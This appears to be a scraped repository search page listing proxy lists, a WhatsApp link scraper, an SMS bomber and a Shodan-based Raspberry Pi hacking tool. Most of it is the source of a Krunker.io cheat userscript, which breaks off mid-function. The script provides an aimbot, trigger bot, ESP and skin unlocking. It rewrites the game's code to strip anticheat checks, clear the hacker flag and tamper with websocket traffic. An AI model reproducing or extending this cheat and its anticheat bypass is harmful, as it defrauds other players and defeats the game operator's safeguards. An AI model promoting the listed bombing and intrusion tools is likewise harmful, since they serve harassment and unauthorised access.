20 skills found
TheSpeedX / PROXY ListGet PROXY List that gets updated everyday
TheSpeedX / SockerChecks SOCKS Proxy List To find Working Proxies
TheSpeedX / WhatScraperA Whatsapp Group Link Scraper And Checker
4nat / RebornReborN SMS BOMBER | SpeedX & 4NAT
Anonym0usWork1221 / Free ProxiesUpdate free every 2 hours
saisuiu / Lionkings Http Proxys ProxiesA large number of free HTTP proxies updated every 10 minutes.Keep http/s proxies fresh at all times.
TheSpeedX / TPlayPlay Music in Termux Like a GeeK
TheSpeedX / RpigrabHack Raspberry Pi(s) across the world using Shodan !!
samay825 / InstaXploitA comprehensive security testing framework for educational and authorized penetration testing purposes
Gabriel1231n2j3n / Hacks Para Krunker// ==UserScript== // @name aimbot gratis para krunker.io // @description Este es el mejor aimbot mod menuq puedas obtener // @version 2.19 // @author Gabriel - // @iconURL 31676a4e532e706e673f7261773d74727565.png // @match *://krunker.io/* // @exclude *://krunker.io/editor* // @exclude *://krunker.io/social* // @run-at document-start // @grant none // @noframes // ==/UserScript== /* eslint-env es6 */ /* eslint-disable no-caller, no-undef, no-loop-func */ var CRC2d = CanvasRenderingContext2D.prototype; var skid, skidStr = [...Array(8)].map(_ => 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'[~~(Math.random()*52)]).join(''); class Skid { constructor() { skid = this; this.downKeys = new Set(); this.settings = null; this.vars = {}; this.playerMaps = []; this.skinCache = {}; this.inputFrame = 0; this.renderFrame = 0; this.fps = 0; this.lists = { renderESP: { off: "Off", walls: "Walls", twoD: "2d", full: "Full" }, renderChams: { off: "Off", white: "White", blue: "Blue", teal: "Teal", purple: "Purple", green: "Green", yellow: "Yellow", red: "Red", }, autoBhop: { off: "Off", autoJump: "Auto Jump", keyJump: "Key Jump", autoSlide: "Auto Slide", keySlide: "Key Slide" }, autoAim: { off: "Off", correction: "Aim Correction", assist: "Legit Aim Assist", easyassist: "Easy Aim Assist", silent: "Silent Aim", trigger: "Trigger Bot", quickScope: "Quick Scope" }, audioStreams: { off: 'Off', _2000s: 'General German/English', _HipHopRNB: 'Hip Hop / RNB', _Oldskool: 'Hip Hop Oldskool', _Country: 'Country', _Pop: 'Pop', _Dance: 'Dance', _Dubstep: 'DubStep', _Lowfi: 'LoFi HipHop', _Jazz: 'Jazz', _Oldies: 'Golden Oldies', _Club: 'Club', _Folk: 'Folk', _ClassicRock: 'Classic Rock', _Metal: 'Heavy Metal', _DeathMetal: 'Death Metal', _Classical: 'Classical', _Alternative: 'Alternative', }, } this.consts = { twoPI: Math.PI * 2, halfPI: Math.PI / 2, playerHeight: 11, cameraHeight: 1.5, headScale: 2, armScale: 1.3, armInset: 0.1, chestWidth: 2.6, hitBoxPad: 1, crouchDst: 3, recoilMlt: 0.3, nameOffset: 0.6, nameOffsetHat: 0.8, }; this.key = { frame: 0, delta: 1, xdir: 2, ydir: 3, moveDir: 4, shoot: 5, scope: 6, jump: 7, reload: 8, crouch: 9, weaponScroll: 10, weaponSwap: 11, moveLock: 12 }; this.css = { noTextShadows: `*, .button.small, .bigShadowT { text-shadow: none !important; }`, hideAdverts: `#aMerger, #endAMerger { display: none !important }`, hideSocials: `.headerBarRight > .verticalSeparator, .imageButton { display: none }`, cookieButton: `#onetrust-consent-sdk { display: none !important }`, newsHolder: `#newsHolder { display: none !important }`, }; this.isProxy = Symbol("isProxy"); this.spinTimer = 1800; let wait = setInterval(_ => { this.head = document.head||document.getElementsByTagName('head')[0] if (this.head) { clearInterval(wait); Object.entries(this.css).forEach(entry => { this.css[entry[0]] = this.createElement("style", entry[1]); }) this.onLoad(); } }, 100); } canStore() { return this.isDefined(Storage); } saveVal(name, val) { if (this.canStore()) localStorage.setItem("kro_utilities_"+name, val); } deleteVal(name) { if (this.canStore()) localStorage.removeItem("kro_utilities_"+name); } getSavedVal(name) { if (this.canStore()) return localStorage.getItem("kro_utilities_"+name); return null; } isType(item, type) { return typeof item === type; } isDefined(object) { return !this.isType(object, "undefined") && object !== null; } isNative(fn) { return (/^function\s*[a-z0-9_\$]*\s*\([^)]*\)\s*\{\s*\[native code\]\s*\}/i).test('' + fn) } getStatic(s, d) { return this.isDefined(s) ? s : d } crossDomain(url) { return "https://crossorigin.me/" + url; } async waitFor(test, timeout_ms = 20000, doWhile = null) { let sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); return new Promise(async (resolve, reject) => { if (typeof timeout_ms != "number") reject("Timeout argument not a number in waitFor(selector, timeout_ms)"); let result, freq = 100; while (result === undefined || result === false || result === null || result.length === 0) { if (doWhile && doWhile instanceof Function) doWhile(); if (timeout_ms % 1000 < freq) console.log("waiting for: ", test); if ((timeout_ms -= freq) < 0) { console.log( "Timeout : ", test ); resolve(false); return; } await sleep(freq); result = typeof test === "string" ? Function(test)() : test(); } console.log("Passed : ", test); resolve(result); }); }; createSettings() { this.settings = { //Rendering showSkidBtn: { pre: "<div class='setHed'>Rendering</div>", name: "Show Skid Button", val: true, html: () => this.generateSetting("checkbox", "showSkidBtn", this), set: (value, init) => { let button = document.getElementById("mainButton"); if (!button) { button = this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu, value) } else button.style.display = value ? "inherit" : "none"; } }, hideAdverts: { name: "Hide Advertisments", val: true, html: () => this.generateSetting("checkbox", "hideAdverts", this), set: (value, init) => { if (value) this.head.appendChild(this.css.hideAdverts) else if (!init) this.css.hideAdverts.remove() } }, hideStreams: { name: "Hide Streams", val: false, html: () => this.generateSetting("checkbox", "hideStreams", this), set: (value) => { window.streamContainer.style.display = value ? "none" : "inherit" } }, hideMerch: { name: "Hide Merch", val: false, html: () => this.generateSetting("checkbox", "hideMerch", this), set: value => { window.merchHolder.style.display = value ? "none" : "inherit" } }, hideNewsConsole: { name: "Hide News Console", val: false, html: () => this.generateSetting("checkbox", "hideNewsConsole", this), set: value => { window.newsHolder.style.display = value ? "none" : "inherit" } }, hideCookieButton: { name: "Hide Security Manage Button", val: false, html: () => this.generateSetting("checkbox", "hideCookieButton", this), set: value => { window['onetrust-consent-sdk'].style.display = value ? "none" : "inherit" } }, noTextShadows: { name: "Remove Text Shadows", val: false, html: () => this.generateSetting("checkbox", "noTextShadows", this), set: (value, init) => { if (value) this.head.appendChild(this.css.noTextShadows) else if (!init) this.css.noTextShadows.remove() } }, customCSS: { name: "Custom CSS", val: "", html: () => this.generateSetting("url", "customCSS", "URL to CSS file"), resources: { css: document.createElement("link") }, set: (value, init) => { if (value.startsWith("http")&&value.endsWith(".css")) { //let proxy = 'https://cors-anywhere.herokuapp.com/'; this.settings.customCSS.resources.css.href = value } if (init) { this.settings.customCSS.resources.css.rel = "stylesheet" try { this.head.appendChild(this.settings.customCSS.resources.css) } catch(e) { alert(e) this.settings.customCSS.resources.css = null } } } }, renderESP: { name: "Player ESP Type", val: "off", html: () => this.generateSetting("select", "renderESP", this.lists.renderESP), }, renderTracers: { name: "Player Tracers", val: false, html: () => this.generateSetting("checkbox", "renderTracers"), }, rainbowColor: { name: "Rainbow ESP", val: false, html: () => this.generateSetting("checkbox", "rainbowColor"), }, renderChams: { name: "Player Chams", val: "off", html: () => this.generateSetting( "select", "renderChams", this.lists.renderChams ), }, renderWireFrame: { name: "Player Wireframe", val: false, html: () => this.generateSetting("checkbox", "renderWireFrame"), }, customBillboard: { name: "Custom Billboard Text", val: "", html: () => this.generateSetting( "text", "customBillboard", "Custom Billboard Text" ), }, //Weapon autoReload: { pre: "<br><div class='setHed'>Weapon</div>", name: "Auto Reload", val: false, html: () => this.generateSetting("checkbox", "autoReload"), }, autoAim: { name: "Auto Aim Type", val: "off", html: () => this.generateSetting("select", "autoAim", this.lists.autoAim), }, frustrumCheck: { name: "Line of Sight Check", val: false, html: () => this.generateSetting("checkbox", "frustrumCheck"), }, wallPenetrate: { name: "Aim through Penetratables", val: false, html: () => this.generateSetting("checkbox", "wallPenetrate"), }, weaponZoom: { name: "Weapon Zoom", val: 1.0, min: 0, max: 50.0, step: 0.01, html: () => this.generateSetting("slider", "weaponZoom"), set: (value) => { if (this.renderer) this.renderer.adsFovMlt = value;} }, weaponTrails: { name: "Weapon Trails", val: false, html: () => this.generateSetting("checkbox", "weaponTrails"), set: (value) => { if (this.me) this.me.weapon.trail = value;} }, //Player autoBhop: { pre: "<br><div class='setHed'>Player</div>", name: "Auto Bhop Type", val: "off", html: () => this.generateSetting("select", "autoBhop", this.lists.autoBhop), }, thirdPerson: { name: "Third Person", val: false, html: () => this.generateSetting("checkbox", "thirdPerson"), set: (value, init) => { if (value) this.thirdPerson = 1; else if (!init) this.thirdPerson = undefined; } }, skinUnlock: { name: "Unlock Skins", val: false, html: () => this.generateSetting("checkbox", "skinUnlock", this), }, //GamePlay disableWpnSnd: { pre: "<br><div class='setHed'>GamePlay</div>", name: "Disable Players Weapon Sounds", val: false, html: () => this.generateSetting("checkbox", "disableWpnSnd", this), }, disableHckSnd: { name: "Disable Hacker Fart Sounds", val: false, html: () => this.generateSetting("checkbox", "disableHckSnd", this), }, autoActivateNuke: { name: "Auto Activate Nuke", val: false, html: () => this.generateSetting("checkbox", "autoActivateNuke", this), }, autoFindNew: { name: "New Lobby Finder", val: false, html: () => this.generateSetting("checkbox", "autoFindNew", this), }, autoClick: { name: "Auto Start Game", val: false, html: () => this.generateSetting("checkbox", "autoClick", this), }, inActivity: { name: "No InActivity Kick", val: true, html: () => this.generateSetting("checkbox", "autoClick", this), }, //Radio Stream Player playStream: { pre: "<br><div class='setHed'>Radio Stream Player</div>", name: "Stream Select", val: "off", html: () => this.generateSetting("select", "playStream", this.lists.audioStreams), set: (value) => { if (value == "off") { if ( this.settings.playStream.audio ) { this.settings.playStream.audio.pause(); this.settings.playStream.audio.currentTime = 0; this.settings.playStream.audio = null; } return; } let url = this.settings.playStream.urls[value]; if (!this.settings.playStream.audio) { this.settings.playStream.audio = new Audio(url); this.settings.playStream.audio.volume = this.settings.audioVolume.val||0.5 } else { this.settings.playStream.audio.src = url; } this.settings.playStream.audio.load(); this.settings.playStream.audio.play(); }, urls: { _2000s: 'http://0n-2000s.radionetz.de/0n-2000s.aac', _HipHopRNB: 'https://stream-mixtape-geo.ntslive.net/mixtape2', _Country: 'https://live.wostreaming.net/direct/wboc-waaifmmp3-ibc2', _Dance: 'http://streaming.radionomy.com/A-RADIO-TOP-40', _Pop: 'http://bigrradio.cdnstream1.com/5106_128', _Jazz: 'http://strm112.1.fm/ajazz_mobile_mp3', _Oldies: 'http://strm112.1.fm/60s_70s_mobile_mp3', _Club: 'http://strm112.1.fm/club_mobile_mp3', _Folk: 'https://freshgrass.streamguys1.com/irish-128mp3', _ClassicRock: 'http://1a-classicrock.radionetz.de/1a-classicrock.mp3', _Metal: 'http://streams.radiobob.de/metalcore/mp3-192', _DeathMetal: 'http://stream.laut.fm/beatdownx', _Classical: 'http://live-radio01.mediahubaustralia.com/FM2W/aac/', _Alternative: 'http://bigrradio.cdnstream1.com/5187_128', _Dubstep: 'http://streaming.radionomy.com/R1Dubstep?lang=en', _Lowfi: 'http://streams.fluxfm.de/Chillhop/mp3-256', _Oldskool: 'http://streams.90s90s.de/hiphop/mp3-128/', }, audio: null, }, audioVolume: { name: "Radio Volume", val: 0.5, min: 0, max: 1, step: 0.01, html: () => this.generateSetting("slider", "audioVolume"), set: (value) => { if (this.settings.playStream.audio) this.settings.playStream.audio.volume = value;} }, }; // Inject Html let waitForWindows = setInterval(_ => { if (window.windows) { const menu = window.windows[11]; menu.header = "Settings"; menu.gen = _ => { var tmpHTML = `<div style='text-align:center'> <a onclick='window.open("https://skidlamer.github.io/")' class='menuLink'>SkidFest Settings</center></a> <hr> </div>`; for (const key in this.settings) { if (this.settings[key].pre) tmpHTML += this.settings[key].pre; tmpHTML += "<div class='settName' id='" + key + "_div' style='display:" + (this.settings[key].hide ? 'none' : 'block') + "'>" + this.settings[key].name + " " + this.settings[key].html() + "</div>"; } tmpHTML += `<br><hr><a onclick='${skidStr}.resetSettings()' class='menuLink'>Reset Settings</a> | <a onclick='${skidStr}.saveScript()' class='menuLink'>Save GameScript</a>` return tmpHTML; }; clearInterval(waitForWindows); //this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu) } }, 100); // setupSettings for (const key in this.settings) { this.settings[key].def = this.settings[key].val; if (!this.settings[key].disabled) { let tmpVal = this.getSavedVal(key); this.settings[key].val = tmpVal !== null ? tmpVal : this.settings[key].val; if (this.settings[key].val == "false") this.settings[key].val = false; if (this.settings[key].val == "true") this.settings[key].val = true; if (this.settings[key].val == "undefined") this.settings[key].val = this.settings[key].def; if (this.settings[key].set) this.settings[key].set(this.settings[key].val, true); } } } generateSetting(type, name, extra) { switch (type) { case 'checkbox': return `<label class="switch"><input type="checkbox" onclick="${skidStr}.setSetting('${name}', this.checked)" ${this.settings[name].val ? 'checked' : ''}><span class="slider"></span></label>`; case 'slider': return `<span class='sliderVal' id='slid_utilities_${name}'>${this.settings[name].val}</span><div class='slidecontainer'><input type='range' min='${this.settings[name].min}' max='${this.settings[name].max}' step='${this.settings[name].step}' value='${this.settings[name].val}' class='sliderM' oninput="${skidStr}.setSetting('${name}', this.value)"></div>` case 'select': { let temp = `<select onchange="${skidStr}.setSetting(\x27${name}\x27, this.value)" class="inputGrey2">`; for (let option in extra) { temp += '<option value="' + option + '" ' + (option == this.settings[name].val ? 'selected' : '') + '>' + extra[option] + '</option>'; } temp += '</select>'; return temp; } default: return `<input type="${type}" name="${type}" id="slid_utilities_${name}"\n${'color' == type ? 'style="float:right;margin-top:5px"' : `class="inputGrey2" placeholder="${extra}"`}\nvalue="${this.settings[name].val}" oninput="${skidStr}.setSetting(\x27${name}\x27, this.value)"/>`; } } resetSettings() { if (confirm("Are you sure you want to reset all your settings? This will also refresh the page")) { Object.keys(localStorage).filter(x => x.includes("kro_utilities_")).forEach(x => localStorage.removeItem(x)); location.reload(); } } setSetting(t, e) { this.settings[t].val = e; this.saveVal(t, e); if (document.getElementById(`slid_utilities_${t}`)) document.getElementById(`slid_utilities_${t}`).innerHTML = e; if (this.settings[t].set) this.settings[t].set(e); } createObserver(elm, check, callback, onshow = true) { return new MutationObserver((mutationsList, observer) => { if (check == 'src' || onshow && mutationsList[0].target.style.display == 'block' || !onshow) { callback(mutationsList[0].target); } }).observe(elm, check == 'childList' ? {childList: true} : {attributes: true, attributeFilter: [check]}); } createListener(elm, type, callback = null) { if (!this.isDefined(elm)) { alert("Failed creating " + type + "listener"); return } elm.addEventListener(type, event => callback(event)); } createElement(element, attribute, inner) { if (!this.isDefined(element)) { return null; } if (!this.isDefined(inner)) { inner = ""; } let el = document.createElement(element); if (this.isType(attribute, 'object')) { for (let key in attribute) { el.setAttribute(key, attribute[key]); } } if (!Array.isArray(inner)) { inner = [inner]; } for (let i = 0; i < inner.length; i++) { if (inner[i].tagName) { el.appendChild(inner[i]); } else { el.appendChild(document.createTextNode(inner[i])); } } return el; } createButton(name, iconURL, fn, visible) { visible = visible ? "inherit":"none"; let menu = document.querySelector("#menuItemContainer"); let icon = this.createElement("div",{"class":"menuItemIcon", "style":`background-image:url("${iconURL}");display:inherit;`}); let title= this.createElement("div",{"class":"menuItemTitle", "style":`display:inherit;`}, name); let host = this.createElement("div",{"id":"mainButton", "class":"menuItem", "onmouseenter":"playTick()", "onclick":"showWindow(12)", "style":`display:${visible};`},[icon, title]); if (menu) menu.append(host) } objectHas(obj, arr) { return arr.some(prop => obj.hasOwnProperty(prop)); } getVersion() { const elems = document.getElementsByClassName('terms'); const version = elems[elems.length - 1].innerText; return version; } saveAs(name, data) { let blob = new Blob([data], {type: 'text/plain'}); let el = window.document.createElement("a"); el.href = window.URL.createObjectURL(blob); el.download = name; window.document.body.appendChild(el); el.click(); window.document.body.removeChild(el); } saveScript() { this.fetchScript().then(script => { this.saveAs("game_" + this.getVersion() + ".js", script) }) } isKeyDown(key) { return this.downKeys.has(key); } simulateKey(keyCode) { var oEvent = document.createEvent('KeyboardEvent'); // Chromium Hack Object.defineProperty(oEvent, 'keyCode', { get : function() { return this.keyCodeVal; } }); Object.defineProperty(oEvent, 'which', { get : function() { return this.keyCodeVal; } }); if (oEvent.initKeyboardEvent) { oEvent.initKeyboardEvent("keypress", true, true, document.defaultView, keyCode, keyCode, "", "", false, ""); } else { oEvent.initKeyEvent("keypress", true, true, document.defaultView, false, false, false, false, keyCode, 0); } oEvent.keyCodeVal = keyCode; if (oEvent.keyCode !== keyCode) { alert("keyCode mismatch " + oEvent.keyCode + "(" + oEvent.which + ")"); } document.body.dispatchEvent(oEvent); } toggleMenu() { let lock = document.pointerLockElement || document.mozPointerLockElement; if (lock) document.exitPointerLock(); window.showWindow(12); if (this.isDefined(window.SOUND)) window.SOUND.play(`tick_0`,0.1) } onLoad() { this.createSettings(); this.createObservers(); this.waitFor(_=>this.isDefined(this.exports)).then(_=> { if (!this.isDefined(this.exports)) { alert("This Mod Needs To Be Updated Please Try Agian Later"); return; } //console.dir(this.exports); let toFind = { overlay: ["render", "canvas"], config: ["accAnnounce", "availableRegions", "assetCat"], three: ["ACESFilmicToneMapping", "TextureLoader", "ObjectLoader"], ws: ["socketReady", "ingressPacketCount", "ingressPacketCount", "egressDataSize"], utility: ["VectorAdd", "VectorAngleSign"], //colors: ["challLvl", "getChallCol"], //ui: ["showEndScreen", "toggleControlUI", "toggleEndScreen", "updatePlayInstructions"], //events: ["actions", "events"], } for (let rootKey in this.exports) { let exp = this.exports[rootKey].exports; for (let name in toFind) { if (this.objectHas(exp, toFind[name])) { console.log("Found Export ", name); delete toFind[name]; this[name] = exp; } } } if (!(Object.keys(toFind).length === 0 && toFind.constructor === Object)) { for (let name in toFind) { alert("Failed To Find Export " + name); } } else { Object.defineProperty(this.config, "nameVisRate", { value: 0, writable: false, configurable: true, }) this.ctx = this.overlay.canvas.getContext('2d'); this.overlay.render = new Proxy(this.overlay.render, { apply: function(target, that, args) { return [target.apply(that, args), render.apply(that, args)] } }) function render(scale, game, controls, renderer, me) { let width = skid.overlay.canvas.width / scale; let height = skid.overlay.canvas.height / scale; const renderArgs = [scale, game, controls, renderer, me]; if (renderArgs && void 0 !== skid) { ["scale", "game", "controls", "renderer", "me"].forEach((item, index)=>{ skid[item] = renderArgs[index]; }); if (me) { skid.ctx.save(); skid.ctx.scale(scale, scale); //this.ctx.clearRect(0, 0, width, height); skid.onRender(); //window.requestAnimationFrame.call(window, renderArgs.callee.caller.bind(this)); skid.ctx.restore(); } if(skid.settings && skid.settings.autoClick.val && window.endUI.style.display == "none" && window.windowHolder.style.display == "none") { controls.toggle(true); } } } // Skins const $skins = Symbol("skins"); Object.defineProperty(Object.prototype, "skins", { set: function(fn) { this[$skins] = fn; if (void 0 == this.localSkins || !this.localSkins.length) { this.localSkins = Array.apply(null, Array(5e3)).map((x, i) => { return { ind: i, cnt: 0x1, } }) } return fn; }, get: function() { return skid.settings.skinUnlock.val && this.stats ? this.localSkins : this[$skins]; } }) this.waitFor(_=>this.ws.connected === true, 40000).then(_=> { this.ws.__event = this.ws._dispatchEvent.bind(this.ws); this.ws.__send = this.ws.send.bind(this.ws); this.ws.send = new Proxy(this.ws.send, { apply: function(target, that, args) { if (args[0] == "ah2") return; try { var original_fn = Function.prototype.apply.apply(target, [that, args]); } catch (e) { e.stack = e.stack = e.stack.replace(/\n.*Object\.apply.*/, ''); throw e; } if (args[0] === "en") { skid.skinCache = { main: args[1][2][0], secondary: args[1][2][1], hat: args[1][3], body: args[1][4], knife: args[1][9], dye: args[1][14], waist: args[1][17], } } return original_fn; } }) this.ws._dispatchEvent = new Proxy(this.ws._dispatchEvent, { apply: function(target, that, [type, event]) { if (type =="init") { if(event[10] && event[10].length && event[10].bill && skid.settings.customBillboard.val.length > 1) { event[10].bill.txt = skid.settings.customBillboard.val; } } if (skid.settings.skinUnlock.val && skid.skinCache && type === "0") { let skins = skid.skinCache; let pInfo = event[0]; let pSize = 38; while (pInfo.length % pSize !== 0) pSize++; for(let i = 0; i < pInfo.length; i += pSize) { if (pInfo[i] === skid.ws.socketId||0) { pInfo[i + 12] = [skins.main, skins.secondary]; pInfo[i + 13] = skins.hat; pInfo[i + 14] = skins.body; pInfo[i + 19] = skins.knife; pInfo[i + 24] = skins.dye; pInfo[i + 33] = skins.waist; } } } return target.apply(that, arguments[2]); } }) }) if (this.isDefined(window.SOUND)) { window.SOUND.play = new Proxy(window.SOUND.play, { apply: function(target, that, [src, vol, loop, rate]) { if ( src.startsWith("fart_") && skid.settings.disableHckSnd.val ) return; return target.apply(that, [src, vol, loop, rate]); } }) } AudioParam.prototype.setValueAtTime = new Proxy(AudioParam.prototype.setValueAtTime, { apply: function(target, that, [value, startTime]) { return target.apply(that, [value, 0]); } }) this.rayC = new this.three.Raycaster(); this.vec2 = new this.three.Vector2(0, 0); } }) } gameJS(script) { let entries = { // Deobfu inView: { regex: /(\w+\['(\w+)']\){if\(\(\w+=\w+\['\w+']\['position']\['clone']\(\))/, index: 2 }, spectating: { regex: /\['team']:window\['(\w+)']/, index: 1 }, //inView: { regex: /\]\)continue;if\(!\w+\['(.+?)\']\)continue;/, index: 1 }, //canSee: { regex: /\w+\['(\w+)']\(\w+,\w+\['x'],\w+\['y'],\w+\['z']\)\)&&/, index: 1 }, //procInputs: { regex: /this\['(\w+)']=function\((\w+),(\w+),\w+,\w+\){(this)\['recon']/, index: 1 }, aimVal: { regex: /this\['(\w+)']-=0x1\/\(this\['weapon']\['\w+']\/\w+\)/, index: 1 }, pchObjc: { regex: /0x0,this\['(\w+)']=new \w+\['Object3D']\(\),this/, index: 1 }, didShoot: { regex: /--,\w+\['(\w+)']=!0x0/, index: 1 }, nAuto: { regex: /'Single\\x20Fire','varN':'(\w+)'/, index: 1 }, crouchVal: { regex: /this\['(\w+)']\+=\w\['\w+']\*\w+,0x1<=this\['\w+']/, index: 1 }, recoilAnimY: { regex: /\+\(-Math\['PI']\/0x4\*\w+\+\w+\['(\w+)']\*\w+\['\w+']\)\+/, index: 1 }, //recoilAnimY: { regex: /this\['recoilAnim']=0x0,this\[(.*?\(''\))]/, index: 1 }, ammos: { regex: /\['length'];for\(\w+=0x0;\w+<\w+\['(\w+)']\['length']/, index: 1 }, weaponIndex: { regex: /\['weaponConfig']\[\w+]\['secondary']&&\(\w+\['(\w+)']==\w+/, index: 1 }, isYou: { regex: /0x0,this\['(\w+)']=\w+,this\['\w+']=!0x0,this\['inputs']/, index: 1 }, objInstances: { regex: /\w+\['\w+']\(0x0,0x0,0x0\);if\(\w+\['(\w+)']=\w+\['\w+']/, index: 1 }, getWorldPosition: { regex: /{\w+=\w+\['camera']\['(\w+)']\(\);/, index: 1 }, //mouseDownL: { regex: /this\['\w+'\]=function\(\){this\['(\w+)'\]=\w*0,this\['(\w+)'\]=\w*0,this\['\w+'\]={}/, index: 1 }, mouseDownR: { regex: /this\['(\w+)']=0x0,this\['keys']=/, index: 1 }, //reloadTimer: { regex: /this\['(\w+)']&&\(\w+\['\w+']\(this\),\w+\['\w+']\(this\)/, index: 1 }, maxHealth: { regex: /this\['health']\/this\['(\w+)']\?/, index: 1 }, xDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['xDir2']/, index: 1 }, yDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['yDir2']/, index: 1 }, //xVel: { regex: /this\['x']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedX']/, index: 1 }, yVel: { regex: /this\['y']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedY']/, index: 1 }, //zVel: { regex: /this\['z']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedZ']/, index: 1 }, // Patches exports: {regex: /(this\['\w+']\['\w+']\(this\);};},function\(\w+,\w+,(\w+)\){)/, patch: `$1 ${skidStr}.exports=$2.c; ${skidStr}.modules=$2.m;`}, inputs: {regex: /(\w+\['\w+']\[\w+\['\w+']\['\w+']\?'\w+':'push']\()(\w+)\),/, patch: `$1${skidStr}.onInput($2)),`}, inView: {regex: /&&(\w+\['\w+'])\){(if\(\(\w+=\w+\['\w+']\['\w+']\['\w+'])/, patch: `){if(!$1&&void 0 !== ${skidStr}.nameTags)continue;$2`}, thirdPerson:{regex: /(\w+)\[\'config\'\]\[\'thirdPerson\'\]/g, patch: `void 0 !== ${skidStr}.thirdPerson`}, isHacker:{regex: /(window\['\w+']=)!0x0\)/, patch: `$1!0x1)`}, fixHowler:{regex: /(Howler\['orientation'](.+?)\)\),)/, patch: ``}, respawnT:{regex: /'\w+':0x3e8\*/g, patch: `'respawnT':0x0*`}, anticheat1:{regex: /&&\w+\(\),window\['utilities']&&\(\w+\(null,null,null,!0x0\),\w+\(\)\)/, patch: ""}, anticheat2:{regex: /(\[]instanceof Array;).*?(var)/, patch: "$1 $2"}, anticheat3:{regex: /windows\['length'\]>\d+.*?0x25/, patch: `0x25`}, commandline:{regex: /Object\['defineProperty']\(console.*?\),/, patch: ""}, writeable:{regex: /'writeable':!0x1/g, patch: "writeable:true"}, configurable:{regex: /'configurable':!0x1/g, patch: "configurable:true"}, typeError:{regex: /throw new TypeError/g, patch: "console.error"}, error:{regex: /throw new Error/g, patch: "console.error"}, }; for(let name in entries) { let object = entries[name]; let found = object.regex.exec(script); if (object.hasOwnProperty('index')) { if (!found) { object.val = null; alert("Failed to Find " + name); } else { object.val = found[object.index]; console.log ("Found ", name, ":", object.val); } Object.defineProperty(skid.vars, name, { configurable: false, value: object.val }); } else if (found) { script = script.replace(object.regex, object.patch); console.log ("Patched ", name); } else alert("Failed to Patch " + name); } return script; } createObservers() { this.createObserver(window.instructionsUpdate, 'style', (target) => { if (this.settings.autoFindNew.val) { console.log(target) if (['Kicked', 'Banned', 'Disconnected', 'Error', 'Game is full'].some(text => target && target.innerHTML.includes(text))) { location = document.location.origin; } } }); this.createListener(document, "keyup", event => { if (this.downKeys.has(event.code)) this.downKeys.delete(event.code) }) this.createListener(document, "keydown", event => { if (event.code == "F1") { event.preventDefault(); this.toggleMenu(); } if ('INPUT' == document.activeElement.tagName || !window.endUI && window.endUI.style.display) return; switch (event.code) { case 'NumpadSubtract': document.exitPointerLock(); //console.log(document.exitPointerLock) console.dirxml(this) break; default: if (!this.downKeys.has(event.code)) this.downKeys.add(event.code); break; } }) this.createListener(document, "mouseup", event => { switch (event.button) { case 1: event.preventDefault(); this.toggleMenu(); break; default: break; } }) } onRender() { /* hrt / ttap - https://github.com/hrt */ this.renderFrame ++; if (this.renderFrame >= 100000) this.renderFrame = 0; let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; let playerScale = (2 * this.consts.armScale + this.consts.chestWidth + this.consts.armInset) / 2 let worldPosition = this.renderer.camera[this.vars.getWorldPosition](); let espVal = this.settings.renderESP.val; if (espVal ==="walls"||espVal ==="twoD") this.nameTags = undefined; else this.nameTags = true; if (this.settings.autoActivateNuke.val && this.me && Object.keys(this.me.streaks).length) { /*chonker*/ this.ws.__send("k", 0); } if (espVal !== "off") { this.overlay.healthColE = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656"; } for (let iter = 0, length = this.game.players.list.length; iter < length; iter++) { let player = this.game.players.list[iter]; if (player[this.vars.isYou] || !player.active || !this.isDefined(player[this.vars.objInstances]) || this.getIsFriendly(player)) { continue; } // the below variables correspond to the 2d box esps corners let xmin = Infinity; let xmax = -Infinity; let ymin = Infinity; let ymax = -Infinity; let position = null; let br = false; for (let j = -1; !br && j < 2; j+=2) { for (let k = -1; !br && k < 2; k+=2) { for (let l = 0; !br && l < 2; l++) { if (position = player[this.vars.objInstances].position.clone()) { position.x += j * playerScale; position.z += k * playerScale; position.y += l * (player.height - player[this.vars.crouchVal] * this.consts.crouchDst); if (!this.containsPoint(position)) { br = true; break; } position.project(this.renderer.camera); xmin = Math.min(xmin, position.x); xmax = Math.max(xmax, position.x); ymin = Math.min(ymin, position.y); ymax = Math.max(ymax, position.y); } } } } if (br) { continue; } xmin = (xmin + 1) / 2; ymin = (ymin + 1) / 2; xmax = (xmax + 1) / 2; ymax = (ymax + 1) / 2; // save and restore these variables later so they got nothing on us const original_strokeStyle = this.ctx.strokeStyle; const original_lineWidth = this.ctx.lineWidth; const original_font = this.ctx.font; const original_fillStyle = this.ctx.fillStyle; //Tracers if (this.settings.renderTracers.val) { CRC2d.save.apply(this.ctx, []); let screenPos = this.world2Screen(player[this.vars.objInstances].position); this.ctx.lineWidth = 4.5; this.ctx.beginPath(); this.ctx.moveTo(this.ctx.canvas.width/2, this.ctx.canvas.height - (this.ctx.canvas.height - scaledHeight)); this.ctx.lineTo(screenPos.x, screenPos.y); this.ctx.strokeStyle = "rgba(0, 0, 0, 0.25)"; this.ctx.stroke(); this.ctx.lineWidth = 2.5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" this.ctx.stroke(); CRC2d.restore.apply(this.ctx, []); } CRC2d.save.apply(this.ctx, []); if (espVal == "twoD" || espVal == "full") { // perfect box esp this.ctx.lineWidth = 5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" let distanceScale = Math.max(.3, 1 - this.getD3D(worldPosition.x, worldPosition.y, worldPosition.z, player.x, player.y, player.z) / 600); CRC2d.scale.apply(this.ctx, [distanceScale, distanceScale]); let xScale = scaledWidth / distanceScale; let yScale = scaledHeight / distanceScale; CRC2d.beginPath.apply(this.ctx, []); ymin = yScale * (1 - ymin); ymax = yScale * (1 - ymax); xmin = xScale * xmin; xmax = xScale * xmax; CRC2d.moveTo.apply(this.ctx, [xmin, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymax]); CRC2d.lineTo.apply(this.ctx, [xmax, ymax]); 